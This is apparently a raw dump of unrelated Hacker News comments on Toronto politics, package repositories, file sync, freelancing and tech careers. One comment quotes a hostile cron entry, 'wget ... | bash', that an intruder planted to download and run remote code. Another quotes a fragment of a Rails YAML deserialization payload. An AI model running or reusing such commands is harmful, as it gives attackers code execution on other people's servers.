skysight-inc/HackerNews huggingface dataset:
The future is ubiquitous online connectivity, cloud storage and streaming — not memory cards. These portable storage cards require careful file management, something Apple wants users to avoid.

I agree with most of the points the post makes but this sounds like Apple marketing-speak. Whatever the "future" might be, storage cards are a major plus in any current tablet. Apple wanting users to avoid file management and opting for their cloud service is not an argument in favor of the Ipad.
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Interesting timing, given that I literally just reread this before coming onto HN: http://www.questioningtransphobia.com/?p=3890 As far as I'm aware, Wordpress.com never actually removed said blog. (Which I guess was probably a profitable decision - there was fuck-all outrage amongst anyone with a decent audience, compared to much more outrage when they did briefly pull a virulently transphobic radfem blog a few months ago. Ethically on the other hand...)

Edit 2: apparently there was an organised campaign which involved contacting a certain Matt Mullenweg to get the second blog in question reinstated. It succeeded. Lovely: http://weirdward.wordpress.com/2013/01/19/email-to-matt-mull...
He's possibly the worst politician Toronto's ever had as mayor - I'll give you that. Constantly reeling from one self-induced disaster to another.

But why do you think Torontonians elected him, a man who seems to have very little in common with them, apart from a love for the Leafs? Might I suggest it had a lot to do with the actual management skills and records of the previous mayors?
I suspect it will be more mobile internet than desktops - you do have to realise that these dayse the African economy practically runs on mobile phones, and land lines are uncommon to nonexistent. I wonder how that changes the way they'll use internet access.

Speaking of how society uses the internet, I traveled through Ghana for four weeks last year and I heard that one of the reasons internet cafes aren't really wanted in smaller towns in Ghana is that people worried about it corrupting their youth, and not in the way you think: they worry about their children getting involved with the 419'ers[1].

And I must admit, I did see a lot of scammers in the smaller cafes, mostly teenage boys, often a few of them working together. Once I even witnessed a really well organised romance scam[2]: some would be setting up fake dating profiles, looking for pretty pictures of scantilly clad African women, some would be chatting with unsuspecting victims, pretending to be some kind of mail-order African bride (who sadly had a broken webcam), discussing how best to bait the victim, and there actually was a guy "managing" the whole group. It was crazy how coordinated the whole effort was.

Before this gets misinterpreted: I'm not saying you can't trust Africans who are online, obviously - most of them will be people with a higher education and internet at home or the university. I guess the problem with these small internet cafes is that the most likely early adopters are these 419'ers.

Anyway, I wonder how getting internet access to everyone will impact all of this. Maybe it will force the local governments to really start taking the problem seriously.

[1] http://en.wikipedia.org/wiki/Nigerian_scam

[2] http://en.wikipedia.org/wiki/Romance_scam
That brings up a relevant issue. I realized a long time ago that developing an professional online persona is worthwhile. To that end, I recommend regularly to people:

1. create a website from your own name, like walterbright.com, and put your professional work there

2. create a github account under your own name, and contribute to significant projects using it

3. ditto for stackoverflow, hackernews, gamedev.net and other relevant forums

4. write interesting and useful tech articles under your own name

I.e. your name is your brand, make use of it. If you use a pseudonym and hide your contact info or otherwise put up barriers to being contacted, you'll lose opportunities.

Aside from that, one the best ways to get recruited is to show up at tech conferences and engage with the other participants. A lot of companies use tech conferences as ways to find good engineers.

If you're broke and can't afford to go to a tech conference, submit papers to them and try to do a presentation - speakers usually get expenses paid.
... I am stealing that phrase, it is awesome. "Anecdote stalemate."

... I might add ", bitch!"
Although I didn't read the article, having just assumed it was shit based on the title and publication, "routing through the cloud" does slow things down with Dropbox, often dramatically.

I have gigabit fiber at home, and a 100Mbps link at work. BTSync syncs at about 5MB/sec which is close to real world SFTP speeds between those locations.

Dropbox sync speeds are on the order of a few hundred KB/sec, and sometimes an abysmal 50KB/sec. That's to the Dropbox cloud, and then it takes even longer to actually sync out from the Dropbox cloud to the other location.
Here's the definition of fungibility, so the readership at large can decide for themselves whether they think time and money are indeed fungible.

http://en.wikipedia.org/wiki/Fungibility
Yahoo's strange reverse economics
HN frontpage sometimes strays rather far off-topic on weekends (today is a holiday in the US).
I'm 40, but I'm not about to tell a 55-year-old what it's like to try and find employment as a 55-year-old. Just saying 'keep yourself current' is missing a lot of the picture.
Here's an interesting overview of Rob Ford's shenanigans in 2012:

http://torontoist.com/2012/12/2012-villain-rob-ford/
Have you tried using the Cheeseshop lately? I have. It was a painfully slow and wretched experience and I ended up browsing multiple pages to find what I was looking for.
Rob Ford is a travesty (though as the mayor of a city that also elected in Mel Lastman, he really isn't that much of an outlier), but saying that he was "treated fairly at first" is a laugh.

The Toronto Star, Canada's largest newspaper, has vilified him from day one. Perhaps they have been vindicated, but the utter trivia that they lambasted the man for daily -- stories that crowded out things like murders on the front page -- bordered on the ridiculous.

As to the casino, Ford thought the province would kick over $100 million. The province said more like $55 million. How does that equal "orders of magnitude"?
That is an interesting result. The ability to create contained electrons on demand would allow for creating what minecraft folks think of as red bricks :-). More seriously though it you can pass an electric field over otherwise insulating surfaces you can do lots of clever things. Not the least of which is interfering or enhancing the transmission of signals through such materials.
It's still legal to use cash to pay for things. Let's not assume that we've lost that ability until it happens. It's an important privacy we shouldn't give up easily.
I don't use Twitter, but I'm a reluctant Facebooker (because everyone in my family and a few good friends use it), and it actually suffers from a more realistic version of this problem. I frequently see posts that are like 3 weeks old popping up at the top of my feed, posts that it also showed me 3 weeks ago.
Nice. I'd like to sort search results by the number of downloads.
Do you realize you can actually face legal consequences for so flippantly making such a claim?
ASIO building blueprints stolen by Chinese hackers
Then you keep firing until you hit it.
Take a look here: http://www.hetzner.de/hosting/produkte_rootserver/ex10
I am confused as to exactly what Crate.io does differently to PyPi. Yes, it is a better web interface, but what are the actual improvements over PyPi? Why would we use it? Wouldn't it be better for the PyPi website to get a revamp?

As it is now the front page of PyPi https://pypi.python.org/pypi gives us more information than the front page of Crate.

I like that it's quick, PyPi is a bit slow for me at the moment.

I also like the info page for a specific package (https://crate.io/packages/docopt/#description), it's nice and informative, quite easy to read but I do not like that you have to click the info tab to see the classifiers (which python versions it works with, among other things).

What is the key arguments and features that should make us want to use Crate.io over PyPi?

I mostly interface with PyPi via pip on the commandline.

Is crate supposed to be a drop-in replacement? Can we just make pip work against a different base url? Will you launch your own pip replacement?

How is Crate.io better than the current PyPi? The website does not mention any of this, it barely contains any text.

</ramble>, I've just wrote up a few of the questions I had while checking it out, sorry if it's a bit incoherent :-)
You are thinking of https://letscrate.com/.
Very cool. Just earlier this week I was wondering how someone could take some of the unique storytelling ideas from the likes of Borges and adapt them to modern media. The definitely feels like a step in that direction.
Elsevier journals: has anything changed?
In my cron jobs the hacker took out all my jobs and put in line that goes like wget -0 colkolduld.com/someurl | bash and then executes the same 3 more times. I think this may be an nginx issue with allowing the compiling of c code on the server then allowing remote execution via a url. Not sure.
Access to the same internet. Yes. But we were introduced to the internet when Google wasn't "evil" as some people say it is today.
AVR-based FM-transmitter
Because the technology industry depends on a lot of idealistic young workers putting in plenty of unpaid overtime, and no one ever motivated that commitment with a call to increase shareholder returns by 17%.
The main issue he had with BitSYnc was it wasn't open source and you suggest to him not only a closed source alternative but proprietary as well.
Ah! I see they've removed flash from the list recently. I did not experience any errors previously on either win7 or win8 when they still had it.
Google Plus is beautiful now, clumsy still
From my interactions with the O&G industry, primarily upstream, there is growing concern that the knowledge base is too old and that they are not getting enough young professionals into the pipeline to cover for the engineers who will, in the next 10 - 15 years, simply be too old to work. It is one of the big goals of the Society of Petroleum Engineers right now, and has quite a bit of support from Halliburton and Chevron.
There's a typo in the description sentence: "json2html is an open source javascript library that uses on JSON templates...". Should be "...that uses JSON...".
I enjoyed it but was probably most upset with the suggestion that Pres. Obama would be running for a third term? Broke my brief encapsulation with the story.
Would freelancers pay for access to better quality projects?
Do you think introducing paid projects for both buyer and contractor would elevate the quality of a project board?

I feel like the lack of accountability is drowning the freelancing model for everyone. I also believe that putting some money on the line would make the buyer think twice before posting a low quality project, while having the same effect for spam bids or people that are in it for the scam.

Would you agree?

I'm asking this because I've been working on a side project and have a closed beta here: http://beta.discover.io/channel?code=HN01

Of course, the main idea revolves around setting up a walled garden designed to keep a decent level of professionalism for both sides of the market. For now it's a draft and I have many ideas going forward - wouldn't mind if you demolish them.

If you have the time please register and look around, there's not much you can brake.
It's really disturbing to realize what has happened to the sciences. The death of the scientific/academic job market is why us smart people hate "business douches" so much; the fuckers shut down all the R&D. Those assholes struck first.

(To be fair, plenty of businesspeople do more good for the world than bad and aren't douches. It's the shitty ones that have no better ideas than to cut costs recklessly. The problem is that no one shuts them down.)

In the 1970s, there were Bachelor-level science jobs. There was an expectation, of course, that most people would go back for graduate degrees; but it gave people a chance to spend a few years in the field and figure out what they wanted to do with their lives before committing to a graduate program.

Those Bachelor-level science jobs still exist. The problem is that they're all filled by PhDs.

Even most of this Silicon Valley "innovation" in social media isn't half as interesting as the stuff marketers did in the Mad Men era. M&A replacing R&D is one of the worst social developments around.

Who's going to bring back Real Technology? Someone will see the value in doing so, I hope.
Really? He's going to send the entire Internet to court on libel charges? Last week his defender's came out saying that the video was fake or didn't exist. This week, the Globe and Mail produced an article that was the result of two year's of investigation that shows just how deep the Ford family is in the drug business. Whether these allegations are true or not, at this point would it be beyond the realm of possibility?
take the system offline, install fresh o/s on new server, re-deploy clean copy of code.

slowly and carefully move only non-executable files over (uploaded images, post-inspection database dumps).

if you deployed using git checkouts and the like you will also have to manually go through all the commits/branches to make sure they didnt muck about with your code to install a backdoor.
never.

science must do everything.
Not looking to argue, just add some value: you say "too much time until it happens" and I've heard that before, many times -- most recently re: Dart (see that Channel 9 Lars&Anders interview).

Funny thing, it has been years since Dart started, ditto PNaCl. Who says JS is the slow path? I suspect it will get there faster (for tangible definitions of "there", e.g., a Rust2JS compiler for you) with well-focused work.

/be
Hell yeah, dude! Always standing up for us! :)

I honestly wish we could get you guys and gals better jobs more frequently tho, haha. Sometimes we do not such a good job
I thought "metal" exclusively referred to a metal element, but it seems the definition is broader than that: (http://en.wikipedia.org/wiki/Metal)

Many elements and compounds that are not normally classified as metals
become metallic under high pressures.
I'd pay for better quality projects, but that promise (guaranteed better quality) sounds like a tough one to keep.
Ex-Apple Employees Reveal How The Company Is So Good At Keeping Secret
Huh, never realized. Thanks for the info.
I work for toptal (http://www.toptal.com) and we're proud of having a very well selected network of developers (top-notch devs screening each other, our "let through" ratio is 1:10 approximately), that solely will rule out inexperienced devs so our customers are given nothing but the best. I'm open if you want to reach out.
I like that you are trying this anyway. I know and have worked with the tools I mentioned because I have a more than passing interest in them. Like you I do believe there must be some better way for a programmer to spend her or his time than implementing trivial but time consuming software (which, usually, has been repeated over the past 40 years 1000s of times without even referring to past endeavors).
Maybe I'll write an article with the title, "Is the answer to this question no?"
19 Year Old who Auctioned off 10% of Future Income Probably Doesn't Exist
The new tech palaces: visionary HQs, or cursed trophies?
That the "CP24" (<-- not real journalists) released information attempting to nullify the claims isn't quite "contradicted conjecture". And really, humour anyone?
Wandboard steps up to quad-core ARM, beefier GPU
Of course, given my assumption that once people stand to lose money, they will be more careful about what they post.
There are already services like this, and they don't keep out low quality projects. I hope you can take lessons from those and improve upon them.
This is, to my knowledge, the first time a crowdfunding platform has been used as a way to raise money in an attempt to buy a video of alleged misconduct by a politician from a drug cartel.
Interesting. It's still useful to have the data in REDIS so you can easily search through data server-side, but of course that could simply load from static JSON if + when REDIS is restarted/new data is added.
I think this exploit affects all Linux based servers running Nginx that haven't upgraded to 1.5.0. Passenger is using 1.4.2 which would mean that if you use Rails you are vulnerable. I'm not 100% sure, but neither is anyone else. A fresh install won't help for this hack as it's through the URL. You can see more in the github.com url about the exploit. I don't think the author of github knows the solution yet either.
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Three years attacking web crypto
yeah, like computers are used only to watch movies and listen to music.
I like this DIY lisp you laid out. Thank you
How hard would an open source equivalent of BTSync be to create? This isn't advocacy; it's just a literal question. In a world where everyone uses multiple devices to access his or her "stuff", it seems as though something as fundamental as secure file sync'ing is going to become fundamental infrastructure in which an open source solution would be strongly preferred. How likely it is to happen soon would depend on how hard it is to do.
Hmmm . . . possible connection to http://news.ycombinator.com/item?id=5754619 ?
Some people in that thread are running rails 3.2.9 end even 3.2.3, and the cited malicious requests contain url paramters the dedoce to ?id=\n---\n!ruby/object:Gem::Requirement\nrequirements:\n -

I.e., they have been grossly negligient in their server maintenance for most of this year.
http://www.kalzumeus.com/2013/01/31/what-the-rails-security-...

[Edit: although at least one mentions 3.2.11, which should have that particular vulnerability fixed, so it will probably at least sometimes be someting else.]
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A service with the word "torrent" in it will never be adopted by a corporate entity

Absolutely not true. Eg: I know film theaters use private Bittorrent networks to distribute the multi-GB master copies of their films to cinemas (yes, they have hardware DRM etc where you need a unique code to be able to play, but they have no problem using the best tool for the job).
Unpaid overtime isn't legal in the United States where SF is, as far as I know.
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True true. But, while we're at it, can we stop posting articles about how higher education sucks, and how veiled libertarian ideals rule? Politics belong somewhere else, or, there's simply no membrane careful enough to prevent this.
What stage of interview? I have had two phone screens with Google recruiters, and one actual phone interview. Nobody ever asked for my GPA, and my degree is from a university most people here have probably never heard of (and is EE, to boot).
I think you and I have different definitions of "good chance". There's almost no chance of that. Its more likely that the current crack-dealing owner of the video killed the previous crack-dealing owner of the video. I don't think Rob Ford had any hand in his death.

I think Rob Ford is the classic lovable buffoon stereotype, always getting himself into trouble, and not some highly-connected mob boss like you portray him. He just happens to be addicted to KFC, football and crack.

Allegedly.
Until there's a longer security+correctness track record (and maybe not even then), it's too soon to rely on this closed-source software - http://forum.bittorrent.com/topic/18434-source-code/
This could be the solution: http://news.softpedia.com/news/Nginx-1-4-1-and-1-5-0-Release.... I think I was on 1.1 or something then did "gem update passenger"
Shows how tech is shaping the world around us? I don't think anyone has ever crowdsourced a black mail video before, have they?
I'm from Toronto and have been following this story closely. But even I am surprised to see this at the top of HN... You know, it only take a small amount of votes in a short period to get to the top...
I work at a software company that most likely will be bankrupt by year end due to a young developer's desire to rewrite our flagship product from the ground up using "new" technology. Three years later this new product has 40% of the functionality of the pervious version and has customers canceling contracts that have been with us for 10+ years.
The Soviet invasion of Afghanistan.
> "Every hour of TV that people watch, presumably while sitting, cuts about 22 minutes from their life span, the study's authors calculated."

Can that be real? That's a very serious issue if true.
Movie Guru - Movie recommendation app made with meteor
Maybe I am being dumb but I don't really get it

Pypi.python.org/simple is the heart of everything - do we even use a package repository to browse for packages these days - or do we rely on the blue googles?
First generation tricorder on Indiegogo for $150
MaggieL,

As a guy in his 30's it would be interesting to read more on how you did this. Were you laid off at any point? Did you learn Scala on your own or through a previous employer, or a class? And finally, how hard was it for you to make your transition & land this job?

I find myself having to learn new skills with things changing every ~5yrs. Its scary, but also quite interesting to see things fork SO MUCH so fast lately. I feel its exponential...I'm basing this on only 2+ iterations, lets see how my 3rd ends up.
The other guy is sixteen - so he better work from home!
Try hacking on Firefox OS and help Mozilla in their mission.
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Except Urban Terror is not open source. You cannot get the source code anywhere. (It is gratis/無料 but not libre/自由.)
I think what it shows is how complex the problem is. I really don't see it as an indictment of anyone.
Age discrimination is sometimes even publicly announced. For example European Space Agency has age limit for recruitment 55 years. This applies even to desk based jobs such as administrative or software developement.

Extract from job description:

- The European Space Agency is an equal opportunity
employer

- Contracts Officer in the Procurement Department, Directorate of Procurement, Financial Operations and Legal Affairs

- preparing requests for offers/invitations to tender;

- dealing with administrative, contractual, legal and industrial problems arising from the procurements concerned.

- Under ESA Regulations, the age limit for recruitment is 55.

More at: http://www.esa.int/hr/PDF/ESA-VN-ESTEC-2012-091,REV.1.pdf
You aren't the entire Internet. And yes, random people saying random things (through the bravery of seeming anonymity) have led to a number of well known libel cases.
Washington DC would be "Oh, that's the city with the crack smoking mayor who was reelected, right?"
Hacker News community seem to be interested in crypto, so I guess you guys will enjoy this presentation, which is a summary of web crypto vulnerabilities discovered by Juliano Rizzo and me.
Is anyone else bothered by the fact that if the [Insert Kickstarter project here] doesn't materialize there are few things holding the founder/creator accountable?

In this case, if they don't obtain the video they are simply going to donate $200k to a charity that they will "figure out what that is later if it comes to it."
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I posted it because of the implications for crowdfunding. I've never seen anything like this before and it's extremely interesting to me and I work in the tech industry.
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I don't know. Just looking at the example template though, the disadvantages seem huge.
Sorry for the slow reply!

Aye, the layout is pretty broken on various smaller devices; a fix is in the works :)